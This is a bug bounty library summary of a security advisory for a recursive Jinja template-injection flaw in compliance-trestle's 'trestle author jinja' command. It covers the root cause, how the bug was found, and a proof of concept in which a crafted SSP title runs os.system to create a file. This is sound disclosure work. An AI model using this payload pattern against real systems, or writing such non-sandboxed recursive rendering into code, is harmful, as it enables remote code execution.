# compliance-trestle Vulnerable to Remote Code Execution via Recursive Server-Side Template Injection (SSTI)

Recursive re-rendering in compliance-trestle's `trestle author jinja` re-evaluates attacker-controlled SSP/LUT data fields as Jinja templates, yielding RCE.

- Payout: Research
- Severity: high
- Program: compliance-trestle
- Found by: l3tchupkt
- Disclosed: 2026-05-28
- CVE: CVE-2026-46439
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-gg2g-p7xc-qqmm
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-gg2g-p7xc-qqmm
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:high tech:python technique:source-review vuln:command-injection vuln:rce vuln:ssti

**Target:** trestle author jinja CLI
**Root cause:** Recursive re-compilation/re-rendering of already-rendered output in a non-sandboxed Jinja Environment turns attacker-controlled data fields into executable templates.
**Steps:**
1. Create trusted static template `template.j2` with `Title: {{ ssp.metadata.title }}`
2. Craft malicious SSP JSON with `"title": "{{ namespace.__init__.__globals__.os.system('touch poc.txt') }}"`
3. Run `trestle author jinja -i template.j2 -o out.md -ssp malicious_ssp`
4. Verify with `ls poc.txt` — file created, confirming command execution
**How found:** Reporter noticed the `while new_output != output` loop re-loads rendered output into a new `Environment` via `DictLoader` and that the env is not a `SandboxedEnvironment`, hypothesizing that data-only input could become executable template code even with a trusted template.
**Exploitation:** Attacker supplies a malicious SSP document (or `-lut` YAML) whose data field carries a Jinja payload; when an operator renders it through a trusted template, the recursive loop re-evaluates the injected expression in a non-sandboxed Environment, executing shell commands as the process user — e.g. in CI/CD pipelines processing vendor-supplied SSPs.
**Insight:** When a renderer loops until output stabilizes, any template syntax surviving into the output is re-executed — test data-only fields (titles, descriptions) against trusted templates, and check whether the engine is sandboxed.

## Proof of concept (copied exactly from the original report)

**Malicious SSP title with Jinja RCE payload**

```
"title": "{{ namespace.__init__.__globals__.os.system('touch poc.txt') }}",
      "last-modified": "2024-01-01T00:00:00+00:00",
      "version": "1.0",
      "oscal-version": "1.0.4"
    },
    "import-profile": { "href": "trestle://profiles/test_profile/profile.json" }
```

**Command executing trestle author jinja on malicious data**

```
trestle author jinja -i template.j2 -o out.md -ssp malicious_ssp
```

**Trusted template rendering data variable**

```
Title: {{ ssp.metadata.title }}
```

